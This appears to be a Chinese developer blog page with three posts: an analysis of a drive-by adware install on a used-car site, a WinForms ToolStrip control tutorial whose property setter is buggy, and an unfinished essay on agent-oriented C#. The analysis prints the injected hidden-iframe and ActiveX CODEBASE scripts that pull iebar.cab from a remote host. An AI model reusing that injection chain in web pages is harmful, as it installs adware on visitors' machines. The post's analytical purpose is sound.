RSS 2.0 Feed

Wednesday, April 25, 2007

用google搜索关键字:西安二手车,发现这个网站的下面多了一段警告。提示:This site may harm your computer. 本网站可能危害您的电脑。

点击link后google会弹出一个更大的警告让你不去访问这个网站。

 

看到这个提示,十分佩服google。把搜索和查毒集成在一起了。Google的搜索引擎真是牛。可是为什么google会认为这个网站有问题会harm your computer。进入google对此内容的解释:

This warning message appears with search results that we've identified as sites that may install malicious software on your computer. We want our users to feel safer when they search the web, and we're continuously working to identify such dangerous sites and increase protection for our users.

看来是这个站点会在用户浏览时安装恶意的程序。

升级了诺顿,冲入这网站探个究竟。刚一进如后就发现诺顿提示有病毒。

看来这个网站真的是有问题。到底这个网站那里出了问题,是站长故意把病毒放在里面了?还是什么问题。进入病毒的描述信息http://securityresponse.symantec.com/avcenter/cgi-bin/virauto.cgi?vid=4294906467

Updated: February 13, 2007 11:51:32 AM
Type: Adware
Publisher: HDT, Inc
Risk Impact: High
File Names: iebar22.0.dll barhelp22.0.dll
Systems Affected: Windows 2000, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP

Behavior
Adware.Iebar is a Browser Helper Object that displays advertisements and downloads files

Symptoms
Your Symantec product detects this threat as Adware.Iebar.
Unexpected advertisements appear in Internet Explorer browser windows.

看来是IE恶意插件。
用http请求跟踪工具,看看浏览器请求了什么。

看到iebar.t2t2.com /iebar.cab application/octet-stream。这一行真相大白了。是这个网站加载了这个恶意文件。当用户浏览时要求用户下载。看来google真厉害,把网站上的这种动作都记录下来并分析了。

要求用户访问下载这个iebar.cab,Render过来对应的html是什么呢。是用iframe src请求下载,使用image src script src是什么样一种方式呢?再次进入跟踪。发现是:

iebar.t2t2.com /test1.htm 这一行Render了这样的代码

<script language=javascript>

...... 

if (GetCookie("today_install")==null)

     {

         document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>");

     }

......

</script>

其中的
document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>");
是“元凶”要求用户下载并安装这个恶意插件。
是谁请求的/test1.htm?
查看stat1.vipstat.com /stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 text/html 这一行,它Render了这样的代码:
….
if (isinstall==1){

SetCookie(cookieKey,pid +"|" + unionid + "|" + sid,1);      
document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>")
}

是document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>")  是javascript 动态添加的iframe带入的恶意脚本。
是谁请求的/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24
查看stat.t2t2.com /log/log1.asp?default&user=zgchecom text/html这一行
它请求Render回来了:
function GetCookie(sName)
{

  var aCookie = document.cookie.split("; ");
  for (var i=0; i < aCookie.length; i++)
  {
    var aCrumb = aCookie[i].split("=");
    if (sName == aCrumb[0])
      return unescape(aCrumb[1]);
  }
  return null;
}
cookieName="comt2t2";
isCookie = GetCookie(cookieName)
if ( isCookie != 'ok')
{
document.write('<iframe width=0 height=0 src="http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes></iframe>');
}

又是javascript 动态添加的iframe带入的恶意脚本。
是谁请求了/log/log1.asp?default&user=zgchecom
查看stat.t2t2.com /stat.js application/x-javascript这一行Render回来的脚本:
var tc_user;
document.write('<a href=http://www.textclick.com/viewmain.asp?name='+tc_user+' target=_blank><img src=http://stat.t2t2.com/stat.gif border=0></a>');
if (tc_user==null) tc_user="";
document.write('<iframe width=0 height=0 src="http://stat.t2t2.com/log/log1.asp?default&user='+tc_user+'" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no><\/iframe>');
还是javascript 动态添加的iframe带入的恶意脚本。
这几次绕来绕去,都没有看到www.zgche.com 我们实际访问的站点。
在http://www.zgche.com/index.asp Render回来的html终于找到加载stat.t2t2.com/stat.js 的代码:

<script language="javascript" src="http://count16.51yes.com/click.aspx?id=162936015&logo=8"></script>
<script>var a="zgchecom";</script>
<script>var tc_user="zgchecom";var tc_class="18";</script>
<script src="http://stat.t2t2.com/stat.js"></script>

终于整个加载的线路清楚了。
http://www.zgche.com/index.asp ->
http://stat.t2t2.com/stat.js ->
http://stat.t2t2.com/log/log1.asp?default&user=zgchecom -> http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 ->
http://iebar.t2t2.com/test1.htm ->
http://iebar.t2t2.com/iebar.cab

通 过上面的加载。恶意的程序最终Render成<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object> 让浏览器来解释。浏览器看到object activeX要求用户安装。恶意程序通过这个手段安装到用户的机器上了。

好曲折的步骤。恶意程序十分会隐藏自己。

最 终找到恶意程序。但是从上面的分析最初用户访问的www.zgche.com并没有“问题”。不是站长放入了恶意程序。它完全是被“牵连”的。是 stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 加载了恶意成程序。是stat1.vipstat.com出了问题。但是google认为是它出了问题。Google站在访问者的角度来看待问题。在 google的link: http://www.stopbadware.org/home/help 看到 stopbadware建立了一个数据库,存储这些恶意站点的信息,建立了黑名单。支持申诉。猜想google是分析这个页面的请求,当请求http: //iebar.t2t2.com/iebar.cab这种在黑名单的地址就认为这个网站是有恶意的网站。最初在建立这个黑名单时,是用这种最终存放恶意程序的地址为源头,来搜索谁请求了他们。然后记录下这些直接请求的地址。然后再看谁请求了这些地址。再次加入黑明单。这样层层的加入来扩张黑名单的数据 库。
问题的根本原因是一段script的多重加载,加载了恶意程序。

posted @ | Feedback (15) |

Monday, April 23, 2007

最近由于工作需要,研究了一下如何将第三方控件嵌入到ToolStrip控件中,并能提供Design-Time下的支持.

下面将详细讲解如何把系统的MonthCalendar控件嵌入到ToolStrip控件中.

以下的两幅图片显示了最终的样子.

 

Run-Time下的样子 1

 

Design-Time下的样子 1

 

 

如何将第三方控件嵌入到ToolStrip

 

微软实现了一个ToolStripControlHost, 它是ToolStripComboBox, ToolStripTextBox, ToolStripProgressBar等的基类. ToolStripControlHost提供了将第三方控件嵌入ToolStrip的能力. 我们可以用两种方式使用它:

 

, 我们可以直接将继承自Control类的第三方控件作为ToolStripControlHost的构造函数的参数构造一个ToolStripControlHost实例, 将这个实例直接作为ToolStripItem加到ToolStripItems集合中使用即可.

        private void Form2_Load(object sender, EventArgs e)

        {

            MonthCalendar monthCalendar = new MonthCalendar();

            monthCalendar.FirstDayOfWeek = Day.Monday;

            this.toolStrip1.Items.Add(new ToolStripControlHost(monthCalendar));

        }

 

 

, ToolStripControlHost派生, 在继承类默认参构造函数中将第三方控件作为参数调用基类的有参构造函数. 这种方式可以很容易的在继承类中暴露属性,方法和事件,便于访问.

实现步骤如下:

1, 扩展 ToolStripControlHost。实现一个调用传入所需控件的基类构造函数的默认构造函数。

        public ToolStripMonthCalendar() : base(new MonthCalendar())

        {

        }

 

2, 声明一个与包装控件相同类型的属性,并在属性访问器中返回 Control 作为正确类型的控件。

        public MonthCalendar MonthCalendarControl

        {

            get

            {

                return base.Control as MonthCalendar;

            }

        }

 

3, 使用扩展类中的属性和方法公开包装控件的其他常用属性和方法。

        // Expose the MonthCalendar.FirstDayOfWeek as a property.

        public Day FirstDayOfWeek

        {

            get

            {

                return this.MonthCalendarControl.FirstDayOfWeek;

            }

            set

            {

                value = this.MonthCalendarControl.FirstDayOfWeek;

            }

        }

 

        // Expose the AddBoldedDate method.

        public void AddBoldedDate(DateTime dateToBold)

        {

            this.MonthCalendarControl.AddBoldedDate(dateToBold);

        }

 

4, 也可以选择重写 OnSubscribeControlEvents OnUnsubscribeControlEvents 方法,并添加要公开的控件事件。

        // Subscribe and unsubscribe the control events you wish to expose.

        protected override void OnSubscribeControlEvents(Control c)

        {

            // Call the base so the base events are connected.

            base.OnSubscribeControlEvents(c);

 

            // Cast the control to a MonthCalendar control.

            MonthCalendar monthCalendarControl = (MonthCalendar)c;

 

            // Add the event.

            monthCalendarControl.DateChanged += new DateRangeEventHandler(OnDateChanged);

        }

 

        protected override void OnUnsubscribeControlEvents(Control c)

        {

            // Call the base method so the basic events are unsubscribed.

            base.OnUnsubscribeControlEvents(c);

 

            // Cast the control to a MonthCalendar control.

            MonthCalendar monthCalendarControl = (MonthCalendar)c;

 

            // Remove the event.

            monthCalendarControl.DateChanged -= new DateRangeEventHandler(OnDateChanged);

        }

 

5, 为要公开的事件提供必要的包装。

        // Declare the DateChanged event.

        public event DateRangeEventHandler DateChanged;

       

// Raise the DateChanged event.

        private void OnDateChanged(object sender, DateRangeEventArgs e)

        {

            if (DateChanged != null)

            {

                DateChanged(this, e);

            }

        }

 

完整的示例请参见MSDN(http://msdn2.microsoft.com/en-us/library/9k5etstz.aspx ).

 

 

如何提供设计时的支持

 

1, 为从ToolStripControlHost继承的类添加ToolStripItemDesignerAvailabilityAttribute标签. 它可以使ToolStripDesign-Time下能够找到从ToolStripControlHost继承的第三方控件, 直接效果就是第三方控件在下拉菜单中可以直接列举出来. 另外,除了可以将第三方控件嵌入ToolStrip, 我们还可以直接将第三方控件嵌入到ContextMenuStrip, MenuStripStatusStrip中.

ToolStripItemDesignerAvailability枚举成员如下:

 

成员名称

说明

 

All

指定所有控件均可见。 

 

ContextMenuStrip

指定 ContextMenuStrip 是可见的。 

 

MenuStrip

指定 MenuStrip 是可见的。 

 

None

指定无任何控件可见。 

 

StatusStrip

指定 StatusStrip 是可见的。 

 

ToolStrip

指定 ToolStrip 是可见的。 

 

2, 为继承的控件添加ToolboxBitmapAttribute标签改变默认Icon.

    [ToolboxBitmap(typeof(MonthCalendar))]

    [DefaultProperty("Value")]

    [ToolStripItemDesignerAvailability(

        ToolStripItemDesignerAvailability.ContextMenuStrip |

        ToolStripItemDesignerAvailability.MenuStrip |

        ToolStripItemDesignerAvailability.StatusStrip |

        ToolStripItemDesignerAvailability.ToolStrip)]

    public class ToolStripMonthCalendar : ToolStripControlHost

    {

 

Demo is Here

 

 -完-

posted @ | Feedback (5) | Filed Under [ Component Programming ]

Thursday, April 06, 2006

前段时间一直周旋于各种有趣且辛苦, 或者无趣且更辛苦的事情当中, 虽然其间也切换到其他好些不同的技术领域, 但一直没有放弃在AOP方面的关注思考. 前面之所以没有能接着AOP这个话题继续和大家聊下去, 是因为感觉自己没有足够的精力和空闲来将这些想法沉淀下来, 并回锅为简单直白, 易于消化和理解, 并能引发思考的东西. 这几天, 出差在外, 工作之余免去了灶台内外的忙活. 油烟味少了, 人也觉得清爽许多; 闲暇多了, 就免不了想爬爬格子. OK, 闲话到此为止, 就让我们继续AOP的白话之旅吧J

 

简单回顾一下前一段旅程(,,), 在前面我们简要介绍了什么是Agent, 这个东东的来由, 以及与其他重要概念, Object的区别. 如果说前段理论之旅展现的奇异风光令我们心神荡漾, 那么接下来的实践之旅就会又把我们拽回到繁杂而精密的软件世界中.

 

在前面也有介绍过, 目前好像还没有一个专门针对AOPIDE, 这对于急于操练一把AOP的同志来说是个不大不小的尴尬. 不过好在Agent也是由Object脱胎而来, 基于目前的OOP语言, 我们也可以来过一把AOP的瘾. 这里我们选择的是.Net 平台下的C#. 为什么要选择C#,,,, 因为如果使用Java, 文章也就不会发在这里, just jokingJ 理论上说, 任何OOP语言, Java, Delphi, C++, 都可以作为哈里.波特同学手中的魔法棒, 点化出妙不可言的Agent. 之所以选择C#, 是看中他的优雅和简洁(补充一句, 直到现在俺依然固执地认为Delphi是最优雅的语言, 虽然Borland迫于生计不得不出售整个IDE部门, 但俺依然决意守望Delphi, 直到Delphi的桅杆没入海平面的最后一刻…)

 

翻翻讲述Agent理论的书籍就可以查到, 一个为理论界所接受的Agent需要具有如下若干特征:

 

l         代理性(Action On Behalf Others)

l         自制性(Autonomy)

l         主动性(Proactivity)

l         反应性(Reactivity)

l         社会性(Social Ability)

l         智能性(Intelligence)

l         合作性(Callaboration)

l         移动性(Mobility)

 

My god! 光把这些名词理解一遍就让人头大了. 不多解释了. 简单点, Simple is good. 我们现在不需要迎合理论家挑剔的口味, 只需要创造一个具有不完全特性的Agent. 女娲同学造人的时候还不是就地取材, 捧着坨泥巴就捏上了J 另一方面, 作为整个AgentWorld的缔造者, 我们必需意识到这样一点: 上述这些特性, 是分层次的, 比如反应性, 和自制性, 这应该是位于Agent心智(Mind)最底层的特性; 而社会性, 智能性, 合作性等, 则应该属于Agent的高级心智, 需要其他心智能力的支持. 在由混沌到开天地的最初步骤中, 我们只需要实现最低层次的Agent心智即可.

 

综合以上考虑, 在我们捏出的第一个Agent身上, 可以看到如下几种心智:

l         同步异步的统一和同类群组

l         对外界变化的感知

l         时间驱动

l         移动性

 

下面我们来逐一审视这些貌似简单, 却可能蕴含无限组合及演化能量的心智要素.

 

同步异步的统一和同类群组

前面聊到说, 我们有认识到Object世界存在着同步和异步被人为地剥离的尴尬, “同步异步的统一和同类群组则是Agent世界对这一尴尬的解答. 在我们的Agent世界中, Agent A1呼唤Agent A2协助其做某件工作M1, 并不需要了解到A2做这件事情是同步在做还是异步在做, 这是同步异步的统一; 更进一步, 如果这件事情, A2具有同样能力的好几个Agent都可以来做, 那么A1更不需要知道到底是哪一个具体的”A2”在做这件工作. 有点抽象噢? Ok, 这好比现实生活中的一个例子: 领导曰上午10点让司机过来接我去开会”. 领导作为一个Agent, 他不需要了解司机这种Agent 10点开车到楼下是同步行为还是异步行为(当然司机自己要清楚), 也不需要了解开车过来的是单位上的哪个司机, 小王or小张? 这是领导需要关心的事情吗? 他只需要知道10点下楼, 就有个司机在那候着. 用程序语言来描述:

 

Boss的执行代码就是:

driver.ComeHere(10:00)

 

Driver的代码:

class Driver : Agent_XXX

{

       [AgentMethod(AgentMethodCallMode.Asyn, AgentMethodRouteMode.Group)]

       public virtual void ComeHere(DateTime time){…}

      

}

 

Ok, 让我们把所有注意力都集中到蓝色的Attribute, 这是Driver这个Agent类在同步异步的统一和同类群组这种心智上的体现. 为什么我们刚才说要选择C#这种优雅的语言, 就是因为我们可以使用Attribute这个特性来将Agent的心智附着在普通的Object Class. 当然, 我们也可以额外地用一个描述心智要素的XML文件来和Class绑定, 但个人感觉而言, Attribute来的更加优雅直接一些.

 

AgentMethod, 这个属性表明, ComeHere这个Method, Driver这个Agent的一种能力, 注意是能力不是心智. 这种能力带了特定的心智信息:

 

l         AgentMethodCallMode.Asyn
这个Attribute表明这种能力是异步调用的, 而非同步. 看到这里有些同志不免生疑, 不是说同步和异步不再区分的嘛, 怎么还有Asyn, Syn这样的标记呢? 不爽! 解释一把, 我们所说的同步和异步不再区分, 是从调用者的角度考察, 比如领导之于司机, 老师之于学生. 而对于方法的被调用者, 也就是实际执行者来说, 他当然是需要内心里知晓这个方法到底是如何完成的